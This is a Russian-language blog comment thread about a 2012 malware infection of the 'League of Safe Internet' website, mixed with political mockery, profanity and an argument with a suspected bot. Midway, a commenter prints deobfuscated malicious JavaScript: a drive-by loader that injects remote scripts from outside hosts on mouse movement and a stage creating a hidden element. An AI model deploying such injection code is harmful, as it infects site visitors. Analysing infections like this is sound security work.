не пиздела б ты, макака

вы - тот самый сотрудник? а где смайлики?!

Ты хто, дурашка? Иди побегай, мальчик.

так нагляднее?

Это не к нему, вероятно.

Картинка по теме:

Красиво, чо. Я смотрел daily/hourly alert, сейчас более 90% всей троянской активности именно по Siggen.192, эпидемия практически.

Но админы, вебмастера и хостеры Лиги Безопасного Интернета доставили особенно, конечно.

Интересно, как он на сайты пролезает. Подозреваю десктопного трояна, который ворует пароли от ftp.

Да, после того как конкретно эти скрипты закэшировались в браузере, очередной поход в Лигу через прокси принёс сообщение про Access to this resource is denied due to administration policy: http://pjojpjnjxg.is-a-chef.org/g/996424737006895.js. Reason: in black list.
А там на сайте говорят 404. То ли маскируются, то ли уже и правда удалили.

В общем, не зря я купил антивирус, есть от него польза.

Польза есть, факт. Куда большая, чем от Лиги Безопасного Интернета, которая, как я понимаю, занимается попросту обычной цензурой.

А как на сайт попадает — а как все подобные эксплойты и попадают. Пароль от ftp либо воруют другим трояном, или брутфорсом подбирают. Может и другие варианты есть, я не специалист..

А ведь в натуре, там есть FTP. Хотя прогрессивное человечество уже давно перешло на ssh/scp/sftp.

>> Подозреваю десктопного трояна, который ворует пароли от ftp.

Скорее всего. Было время, админил по дружбе несколько сайтов, единственный раз подцепил заразу (целую фишинговую страницу какого-то банка встроили, однако!), когда дал одному из друзей ftp-доступ для загрузки евойного контента. О косяке узнал от хостинг-провайдела, от него же получил ценные рекомендации по избавлению и дальнейшей профилактике.

Не, трояны на сайты пролезают через дырявые php-шные скрипты. Пароли от ftp не нужны.

Тоже вариант, но как-то уж очень много конкретно этой js-заразы в настоящее время.
Хотя, может, это свеженайденная дыра в каких-нибудь популярных CMS. Лига-то эта на друпале сделана.

Совсем не факт, что свеженайденная. Как много админов регулярно обновляют php-софт на сервере до актуального состояния? Очень немногие. Обычно поставили, настроили и забыли.

Логично. Вот у той же лиги похапе 5.2.14. А в нём самом столько дырок..

Joomla линейки 1.5 (а может и выше) тоже апаснасте ВСЯ.
Эксплоит какой-то, скоро узнаем...

А чего узнавать, антивирусные конторы все в курсе уже недели две как, судя по дате обновлений.

что разворачивается вот в такое:
(function() {
var url = 'xttp://extraneousdash.from-sc.com/g/';
if (typeof window.xyzflag === 'undefined') {
window.xyzflag = 0;
}
document.onmousemove = function() {
if (window.xyzflag === 0) {
window.xyzflag = 1;
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.onreadystatechange = function () {
if (this.readyState == 'complete') {
window.xyzflag = 2;
}
};
script.onload = function() {
window.xyzflag = 2;
};
script.src = url + Math.random().toString().substring(3) + '.js';
head.appendChild(script);
}
};
})();

оттуда тянется еще обфусцированный скрипт, который разворачивается вот в такое
(function() {
var url = "xttp://uphchtxmji.homelinux.com/index.php?764f00adf578c58517e380588177b49d";
var node = document.createElement("div");
node.style.zIndex = -10000;
node.style.visibility = 'hidden';
node.style.position = 'absolute';
node.style.width = '50px';
node.style.height = '50px';
node.innerHTML = "";
document.body.appendChild(node);
})();

xttp? а как оно работает?

ну там на самом деле http, но я что-то не умею делать так, чтобы ссылки автоматически активными в комментариях не становились и заменил http на xttp :-(

Это надо отключить автоматическое форматирование, только, кажется, уроды из супа соответствующую галочку в комментариях убрали.

Дак вот я её и не нашёл, предпросмотра нет, lj raw тоже не помог...

А предпросмотр комментариев они натурально отключили. Вместо него теперь есть возможность редактирования.

Да, но комментарии со ссылками в чужих журналах скрываются, вот мои у резуса, например, и возможности редактирования уже нет - только удалять и новый вариант пробовать. юзабилити же :-)

Это уже от настроек конкретного журнала зависит

Да это понятно всё. Я к тому, что редактирование комментариев не во всех случаях является полноценной заменой предпросмотру. Пропажа возможности отключения автоформатирования я вообще не знаю чем объяснить. ну и вообще :-)

да еще и тэги пропали из второго скрипта, там iframe создаётся, куда это всё грузится.

А хромовский сэндбокс не спасает от такого?

а я не знаю что в конце, последняя ссылка у меня не открывается уже - то ли удалили, то ли проверяют что-то и не всем раздают. т.е. не известно что там на самом деле и спасает ли от такого хромовский сэндбокс. но в общем случае хром это не панацея :-)

А в хроме как раз недавно обнаружили свежие уязвимости:
http://www.zdnet.com/blog/security/pwn2own-2012-google-chrome-browser-sandbox-first-to-fall/10588

А хосты-то все с такой репутацией, что пиздец.

ну вот по первому домену нашлись 2 обсуждения заражения форумов каких-то, да. ну ничего, скоро выходные закончатся, директор письмо прочитает и разберётся!

Не исключено, что вся зараза в виджете внизу страницы, который прикручен к внешним форумам и социалкам. Но в любом случае сообщения отправлены вебмастеру и на рут. Интересно даже, сколько времени у них займёт отреагировать.

Занятно, что я напоролся на это вчера чисто случайно, по новостной ссылке. Среди прочего, это говорит и о том, что на сайт этот героический мало кто заходит вообще..

Сходил, да. DrWeb добросовестно обезвредил результат похода. Как воспитанный человек , задам только один вопрос: ну не пидорасы ли ?

А что за лига такая, что интеренет про неё бурлит?... - подумаешь ещё один сайт заражен... мало таких?... они реально популярный сайт? или бурлят из-за названия?

Именно. "Безопасность" как она есть.

> А что за лига такая

Плюс стопицот. Чо за деятели такие?

http://er.ru/news/2012/2/7/internet-bezopasnostyu-detej-zajmetsya-samoreguliruemaya-organizaciya/

Судя по сайту, это какие-то деятели типа "тащить и не пущать", и под это дело ещё и денюжек попилить.

http://er.ru/news/2012/2/7/internet-bezopasnostyu-detej-zajmetsya-samoreguliruemaya-organizaciya/

Так и есть. Хотя попилить может и не получится..

Дык же "Председатель Правления Лиги безопасного интернета призвал создать Совет благотворителей

В частности, Константин Малофеев предлагает объединить усилия бизнеса и НКО в лоббировании законопроектов и государственных программ, направленных на борьбу с наркоманией, алкоголизмом и абортами, а также на базе профессиональной коалиции грантодающих организаций Форума Доноров или на площадке Общественной палаты создать Совет бизнесменов, системно занимающихся благотворительностью."

это дети ебанутого молочника Бойко-Великыя

Уважаемы несколько удручает ваше плоское мышление! Очень легко все свести к распилу бабла!!!

Вчера вечером исправили, см. комменты внизу.

А ваше объёмное мышление какие выводы позволяет сделать из такого заявления (http://ligainternet.ru/novosti/predsedatel-pravleniya-ligi-bezopasnogo-interneta-prizval-sozdat-sovet-blagotvoritelei)?

Ещё раз убеждаюсь в вашем поверхностном суждении! Мой вам совет прежде чем, что то писать и делать заявления попробуйте посмотреть, что пишут как минимум в Интернете, а не ухватываться за одну новость и на основе её делать глобальные выводы!

Зачем? Это их собственное заявление.

А выводы то ваши! Даже не зная куда что и зачем вы говорите о распиле! Хотя понимаю вас сейчас об этом модного говорить! А мне вот кажется что господин Малофеев достаточно обеспеченный человек и ему нет нужды что то пилить! Сам бегло посмотрел заявление! Учитесь думать самостоятельно а не идти на поводу у популярных тенденций! Вы конечно простите но это просто вымораживает!

Не нервничайте, это вредно для здоровья.

И почитайте не бегло, а внимательно. Когда общественная организация хочет собрать деньги бизнесменов-благотворителей якобы на то, чем должны заниматься за зарплату государственные органы, это называется "попилить деньги". Другого термина я не знаю.

Боже упаси я не нервничаю. И уж тем более никого не защищаю. Просто может они действительно, что то полезного на эти деньги сделают! А не тупо попилят! я вот к чему.

На ремонт Провала собирают, видать.

Да ну, это бот какой-то, один лексикон чего стоит..

Ага точно бот.

Вот не хотел лезть выяснять насчёт источников финансирования, но после такого комментария уже пришлось.

Я думаю, жертвователи благотворительного фонда будут очень расстроены, узнав, что пожертвованные ими средства расходуются на интернет-цензуру и стукачество, — да ещё и настолько непрофессиональным образом.

Так и передай своим работодателям.

А давайте боты пойдут писать в журналы ботов, а не живых людей? Так оно как-то логичнее..

А давай те без давайте ) И что же вы так нервничаете из за моих комментариев вы же можете их удалять)

Зачем мне их удалять?

Если они вам не нравятся

А что, если не нравятся, то нужно удалять? Это какое-то новое правило, я ещё не в курсе.

Короче хотите удаляйте, не хотите не удаляйте)))

http://er.ru/news/2012/2/7/internet-bezopasnostyu-detej-zajmetsya-samoreguliruemaya-organizaciya/

Мнда... сурьёзно усё ;)))

Странное явление проверяю ссылку и ничего все норм! никаких троянов.... стоит КИС

Вы б еще через годик проверили..

А какой тогда смысл это вообще постить? если нельзя проверить?

На момент постинга это вполне можно было проверить.

Блять, простите мой французский, вы к этому уебану в ЖЖшечку загляните. Оно же распространяет псевдоантивирусятину какую-то.
Вырисовывается апокалиптическая картина "одмин зорожающий собственни сайд"

Ну всё правильно, он как доктор Знаменский, сам себя ебанул в исследовательских и общегуманистических целях.

Не понял. Это ты о чем?

Хотя стоп, у него же пустая жежешечка..

Мне показали три поста. Видимо уже подчистил. Шустрый.

Три поста (и четвёртый скрытый), так и есть. А где же там про псевдоантивирус?

Да это бот какой-то свежесозданный с пустым журналом.

То что я свои посты не пишу не значит что не могу читать чужие! Старый акк к сожалению был сломан!

Да читай сколько влезет, только мусорить не надо. Соблюдай чистоту, бот.

Кстати, как назывался твой старый акк? И каким образом ты вышел на мои посты (этот и второй на ту же тему)?

Да и через анонимайзер зачем входить? Мне же и IP твой виден, дурилка ты картонная..

Да странный вы человек всё же, я не пользуюсь анонимайзером, в нем нет нужды!

Да, действительно, эти адреса теперь у Билайна в динамическом пуле. ОК, не через анонимайзер.

Но прочие вопросы пока в силе.

На пост ваш вышел совершенно случайно!

Это понятно, что случайно, — а как именно?

смотрел новости посвященные лиге.

Где новости? На каком сайте? Неужели уже и в новостях меня, скромного макака, стали цитировать? Очень мило..

И действительно давайте перестанем обсуждать меня!

Почему же? По-моему, очень интересное обсуждение..

Давайте обсуждать если интересно)

Вот я и обсуждаю, вопросы задаю. Отвечать будем или в молчанку играть?

Киса, я хочу вас спросить, как художник — художника: вы рисовать умеете?

Умею. Щас и разрисую.

А нам грубиянов не надо. Мы сами грубияны.

Ну-ка, ну-ка. Давайте посмотрим.

Может тебе дать ещё ключ от квартиры, где деньги лежат?!

А вот и слив.

Спасибо за сотрудничество.

А вот, кстати, идите прямо сейчас на beta.ligainternet.ru и проверяйте. Там как раз вирусы лежат.

А зачем ему проверять, он же не с этой целью сюда зашёл.

Ну хотел, пусть проверяет.

Злые вы уйду я от вас))) Везде подвохи ищете))) удачи в разоблачении глобального заговора!
Заседание продолжается, господа присяжные заседатели.

Говновопрос.

А, то есть вас проверка фактов не интересовала, просто попиздеть приходили?